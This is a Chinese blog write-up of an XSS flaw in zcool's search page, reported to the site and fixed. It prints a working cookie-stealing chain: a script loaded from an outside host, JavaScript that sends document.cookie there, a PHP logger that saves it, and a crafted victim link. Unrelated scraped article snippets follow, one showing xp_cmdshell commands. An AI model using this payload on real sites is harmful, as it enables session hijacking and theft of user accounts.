一个危险的XSS案例——轻松拿到登录用户的cookie

casperchen from IMWeb Team.

 

站酷是我很喜欢的设计类站点,上面有我大二美好的回忆,卖个广告,我的个人主页是:http://www.zcool.com.cn/u/346408

 

很好,其实上面不是重点。这段时间周围出现了好几单安全相关的问题,基本都是XSS漏洞导致的。于是内心一直惦记着,包括上个周末在逛站酷的时候,然后突发奇想:站酷上是否也存在XSS漏洞呢?

 

 

找到XSS漏洞

 

本着学习交流的目的,用颤巍巍的手指在站酷的作品搜索拦里输下了如下代码

<script>alert(1)</script>

 

然后按下了回车(http://www.zcool.com,chrome浏览器下访问) 

 

 

内心一阵失落,并没有预期中那样弹出个框来,叹了口气。但是,毕竟是个不轻言放弃的人,于是想了:chrome浏览器的安全机制是比较强大的,莫非是浏览器做了什么事情?

 

于是F12打开控制台,果然~~好吧,输给chrome了。

 

 

既然如此,其他浏览器呢?一向挺喜欢freifox浏览器的,前端工作人员嘛,于是firefox毫不犹豫成了第二个试验的对象。然后~~然后~~congratulations!!

 

好大一个弹窗!

 

 

进一步利用XSS漏洞

 

虽然内容有一些鸡冻,但仅仅找到一个XSS漏洞显然无法满足一个充满求知欲望的前端攻城狮,于是继续想:是不是可以利用它来做更多事情呢?

 

首先分析了下站酷的页面表现神马的,发现它是将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:

 

<script src="http://saintcoder.duapp.com/joke/joke.js"></script>

 

于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是:将页面的cookie最为参数附加到url后面

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);

然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~

<?php
    @ini_set('display_errors',1);
    $str = $_GET['joke'];
    $filePath = "joke.php";

    if(is_writable($filePath)==false){
         echo "can't write";
    }else{
          $handler = fopen(filePath, "a");
          fwrite($handler, $str);
          fclose($handler);
    }
?>

很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户

 

http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

毫无压力所有cookie到手,如果当时用户登录中效果更佳 :)

 

 

漏洞提交

 

找到漏洞很鸡冻,但毕竟站酷是我挺喜欢的一个网站,也不希望它被人黑了。于是果断给站酷管理员,并收到回复。god bless 站酷~

 

 

结束语

截至目前,该XSS漏洞已被修复,所以就把这篇文章贴出来分享下,避免过早公布导致站酷被人攻击就不好了~~

 

网络很不安全,开发兄弟们要加强安全防范意识啊~~~

时间: 2024-09-25 00:55:03

一个危险的XSS案例——轻松拿到登录用户的cookie的相关文章

asp.net session、登录用户、cookie常见问题解决办法

asp教程.net session.登录用户.cookie常见问题解决办法 这里主要讲了关于session缓存,失效,以及cookie无法删除等常用见的问题了. OutPutCache 自定义缓存:session.登录用户.cookie 等 其实这个也是新瓶装旧酒的问题,前段时间,把这个做了,况且效果和性能都还不错,所以记录下,希望能帮助更多的人 虽然 outputcache 很重要,但是这个功能真的不好用,很多时间不能满足需求,比如做一些自定义方面的缓存依赖,如:session.登录用户信息.

用ise轻松替换系统登录背景

每天使用电脑,面对同样的系统开机画面,你是不是感觉非常死板,每次修改桌面壁纸都需要点击多次,操作起来非常麻烦,你是否想过让自己的数码照片变成开机画面呢?或是把自己的数码照片设置成桌面壁纸,且不用修改即可让多张数码照片自动更换为壁纸,上面这些功能都可以通过修改系统设置来实现,但操作起来比较复杂,下面笔者就教大家如何使用iSee看图软件来使用你的数码照片来装扮自己的电脑,使用更加个性化,更加漂亮. 一.轻松替换系统登录背景 每次开机都看到相同的背景,你是不是感觉看腻了呢?能不能把自己拍的数码照片设置

SharePoint里如何设置People picker值为当前登录用户值

摘要: 相信很多朋友都遇到过需要将某个People类型的字段值设置为当前登录用户的情况而且已经给出了解决方案,因此本文没有什么新意,算法上也比较冗余,仅仅在博客里算作知识的备份. 思路: 在画面的右上角有一个欢迎控件,现实内容为"Welcome, 登陆用户名",我们的代码就是要把这个用户名取出来,然后取到PeoplePicker字段对应的DIV,调用innerHTML属性来进行值得设置. 步骤: 第一步,取得登陆用户,通过Welcome来查找: function getCurrentU

SQLSERVER误删Windows登录用户验证方式使用Windows身份验证的解决方法

今天看到这篇文章:没有了SA密码,无法Windows集成身份登录,DBA怎么办? 想起来之前着急哥问我的一个问题,一个DBA删除了Windows登录用户,而且SQLSERVER服务器的验证 方式是Windows身份验证 怎麽办?? 我当时给他的答复是:重装系统数据库master 今天看到这篇文章没有了SA密码,无法Windows集成身份登录,DBA怎么办?,有思路了 假设我们遇到很糟糕的情况 sa被禁用,服务器身份验证为Windows身份验证模式,Windows登录用户被删,没有其他sysadm

学生机登录用户权限设置

随着计算机硬件价格的大幅下降,多数机房都采用了高性能的微机,操作系统也由原来的Windows98升级到了 Windows XP.为了实际教学工作,微机室的微机都安装了相应的多媒体教学软件(如苏亚星.深蓝易思等).这样,老师在上课时就能够及时掌控学生的学习情况.但有的学生为了在课堂做一些与课程无关的活动(如打游戏),他们会想办法脱离教师机地控制,他们通常是使本地机器的学生端程序停止下来.由于中止这些进程的方法有很多,所以要解决这个问题就要从登录用户权限入手,不给学生登录用户以中止进程的权限. 另外

sqlserver中使用cmd命令注销如何登录用户

如果你的远程桌面无法远程,提示超过用户数,你可以试试用sql server.用sql server中执行cmd命令也可以注销登录用户. 连接mssql后执行 --注销登录用户 无法登陆远程桌面时用 exec xp_cmdshell 'quser' Exec xp_cmdshell 'LOGOff 1'

SQLSERVER误删SA密码Windows登录用户

  想起来之前着急哥问我的一个问题,一个DBA删除了Windows登录用户,而且SQLSERVER服务器的验证方式是Windows身份验证. 怎麽办?? 我当时给他的答复是:重装系统数据库master 今天看到这篇文章没有了SA密码,无法Windows集成身份登录,DBA怎么办?,有思路了 假设我们遇到很糟糕的情况 sa被禁用,服务器身份验证为Windows身份验证模式,Windows登录用户被删,没有其他sysadmin角色的登录用户 步骤一: 停掉SQLSERVER:在命令行 net sto

Linux系统下如何查看已经登录用户

  虽然前面介绍了用户管理,但是那部分主要是管理用户的帐号,也就静态的用户列表.而LINUX是个多用户系统,一旦连接到网络中,它可以同时为多个登录用户提供服务.系统管理员可以随时了解系统中有那些用户,用户都在进行什么操作. 查看用户的操作 系统管理员若想知道某一时刻用户的行为,只需要输入命令W 即可,在SHELL终端中输入如下命令: [ROOT@LOCALHOST ROOT] # W 2:31PM UP 11 DAY ,21:18 4 USERS, LODE AVERAGE : 0.12, 0.

系统-浏览器异常关闭或关闭选项卡后怎么清除该登录用户信息

问题描述 浏览器异常关闭或关闭选项卡后怎么清除该登录用户信息 现在我的系统可以实现阻止同一用户在不同浏览器上的登录,允许不同用户在同一浏览器上的登录,可一旦不是正常退出,直接关闭选项卡或直接关闭浏览器的话,用户不能在重新登录了,求教. 解决方案 判断用户的在线状态 获得用户登陆状态不用说了,判断离开的话就有一点问题了,如果说用户都是按照设计者的规定触发退出事件离开的话那就没什么难度了,但是用户的离开方式多种多样,怎么在用户非法离开的时候即时的判断离开呢?最常见的非法离开就是关闭浏览器了. 复制代